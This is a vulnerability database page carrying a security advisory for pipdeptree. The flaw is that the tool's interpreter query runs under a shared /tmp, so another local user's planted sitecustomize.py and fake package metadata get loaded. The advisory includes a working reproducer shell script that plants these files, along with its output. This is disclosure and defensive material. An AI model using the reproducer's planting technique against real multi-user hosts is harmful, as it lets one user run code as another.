Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-gr9c-rr2h-w55h

GHSA-gr9c-rr2h-w55h: 
Python vulnerability analysis and mitigation

Summary

When pipdeptree inspects an interpreter other than its own (--python, or an activated virtual or conda environment), it runs that interpreter with a query script from a fresh temporary directory. On Linux and macOS that directory sits below the shared /tmp, so a relative PYTHONPATH entry such as .. resolves to /tmp itself, and any local user can put a sitecustomize.py or a fake .dist-info there. The planted module then runs as the user running pipdeptree, and the fake distribution appears in its output. The temporary directory was introduced by the fix for GHSA-42xh-2xjj-jxvf in 4.2.11. Anthropic's OSS Scanner reported this as ANT-2026-J87U1ZWC on 2026-11-23.

Affected area

The interpreter query on Unix, run for --python PATH and for an auto-detected environment (VIRTUAL_ENV, CONDA_PREFIX) that is not the interpreter running pipdeptree.

Attacker-controlled input

Files in /tmp created by another local account: /tmp/sitecustomize.py and /tmp/<name>.dist-info/METADATA. The attacker needs a local account on a host with a shared /tmp, and the victim needs a relative PYTHONPATH entry that climbs one level, or a version-manager shim given to --python that reads its configuration from parent directories.

Affected code

At 4.2.16 (70dcc3e):

Mechanism

  1. Since 4.2.11 the query runs in an empty directory so that files in the user's working directory cannot shadow modules. tempfile::tempdir() creates it as /tmp/.tmpXXXXXX.
  2. Python resolves relative PYTHONPATH entries against its working directory. With PYTHONPATH=.., the query's sys.path gains /tmp.
  3. At startup Python imports sitecustomize from sys.path, which finds /tmp/sitecustomize.py, and the query lists distributions from every sys.path entry, which finds /tmp/*.dist-info. The same parent-directory problem reaches version-manager shims that look for a configuration file in each ancestor of their working directory; the scanner showed that route with a stand-in shim, which was not repeated here. Out of scope: Windows, where the temporary directory is per user; runs that inspect pipdeptree's own interpreter, which start no query.

Reproduction and evidence

j87.sh runs in a python:3.14 container (network off) with pipdeptree in /opt/venv. The nobody account writes /tmp/sitecustomize.py (appends its uid to /tmp/ran) and /tmp/planted-6.6.6.dist-info. The alice account creates a venv in its home and runs VIRTUAL_ENV=~/venv PYTHONPATH=.. pipdeptree from its home. With pipdeptree 4.2.16:

--- control: venv python run directly from ~ with PYTHONPATH=..
['/home', '/home/alice/venv/lib/python3.14/site-packages']
cat: /tmp/ran: No such file or directory
--- control: TMPDIR private
(resolved python: /home/alice/venv/bin/python)
rc=0
cat: /tmp/ran: No such file or directory
--- trigger
(resolved python: /home/alice/venv/bin/python)
planted-by-mallory==6.6.6
rc=0
uid=1000

The controls show the same environment and PYTHONPATH never reach /tmp on their own. With the fix the trigger prints an empty tree and /tmp/ran does not exist.

Attack sequence

sequenceDiagram
    participant M as other local user
    participant U as user
    participant P as pipdeptree
    participant Q as venv python (query)
    M->>M: write /tmp/sitecustomize.py and /tmp/planted-6.6.6.dist-info
    U->>P: VIRTUAL_ENV=~/venv PYTHONPATH=.. pipdeptree
    activate P
    rect rgb(255, 214, 214)
    P->>+Q: run query, cwd = /tmp/.tmpXXXX
    Q->>Q: PYTHONPATH=.. resolves to /tmp
    Q->>Q: imports /tmp/sitecustomize.py as the user
    Q-->>-P: sys.path includes /tmp, planted dist-info listed
    end
    P-->>U: planted-by-mallory==6.6.6
    deactivate P
    rect rgb(216, 243, 220)
    P-->>P: fixed: query runs from / and gets only absolute PYTHONPATH entries
    end

Reproducer files

j87.sh (run as root in a python:3.14 container with pipdeptree in /opt/venv)

#!/bin/sh
useradd -m alice
su nobody -s /bin/sh -c 'printf "%s\n" "import os; open(\"/tmp/ran\",\"a\").write(\"uid=%d\\n\" % os.getuid())" > /tmp/sitecustomize.py; mkdir /tmp/planted-6.6.6.dist-info; printf "Name: planted-by-mallory\nVersion: 6.6.6\n" > /tmp/planted-6.6.6.dist-info/METADATA'
ls -l /tmp
su alice -c 'cd ~ && python3 -m venv --without-pip venv'
echo "--- control: venv python run directly from ~ with PYTHONPATH=.."
su alice -c 'cd ~ && PYTHONPATH=.. venv/bin/python -c "import sys; print([p for p in sys.path if p.startswith(\"/home\") or p==\"/tmp\"])"; cat /tmp/ran 2>&1'
echo "--- control: TMPDIR private"
su alice -c 'mkdir -p ~/t; cd ~ && TMPDIR=$HOME/t VIRTUAL_ENV=$HOME/venv PYTHONPATH=.. /opt/venv/bin/pipdeptree; echo rc=$?; cat /tmp/ran 2>&1'
echo "--- trigger"
su alice -c 'cd ~ && VIRTUAL_ENV=$HOME/venv PYTHONPATH=.. /opt/venv/bin/pipdeptree; echo rc=$?; cat /tmp/ran 2>&1'

Impact

Another local user can run code as anyone who runs pipdeptree against a separate interpreter with a relative PYTHONPATH entry, and can add fake packages to the reported tree. Reproduction is easy once the precondition holds. Exposure is unlikely: it needs a multi-user host with a shared /tmp and a relative PYTHONPATH entry (or a shim that walks up for its configuration). Severity: 6.7 (Medium), CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H. AV:L, PR:L: a local account plants the files. AC:H: it depends on the victim's PYTHONPATH or shim. UI:R: the victim runs pipdeptree. C:H, I:H, A:H: code runs as the victim. S:U.

Versions tested

pipdeptree 4.2.16 (identical Rust sources to main at 97fb19a), CPython 3.14, Debian container on Linux. The temporary directory was added in 4.2.11 by #787; before that the query ran in the user's working directory, which GHSA-42xh-2xjj-jxvf covers. The fix starts the query in / on Unix, which has no parent, and passes only absolute PYTHONPATH entries, since a relative one would now resolve against /. Windows keeps the per-user temporary directory. Fix: https://github.com/tox-dev/pipdeptree/pull/922.

Known mitigation

Use only absolute entries in PYTHONPATH, or set TMPDIR to a directory only you can write to, when running pipdeptree against another interpreter.

Affected release

  • 4.2.11 to 4.2.16

Credits

Anthropic's OSS Scanner, ANT-2026-J87U1ZWC.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-jwjq-c2gw-w78mHIGH8.5
  • Python logoPython
  • executor-engine
NoNoDec 01, 2026
GHSA-2cv2-jjxv-85fgHIGH8.5
  • Python logoPython
  • funcdesc
NoNoDec 01, 2026
GHSA-m5hc-8vx6-x364HIGH7.8
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-pwcj-3vgc-5j8fMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-gr9c-rr2h-w55hMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management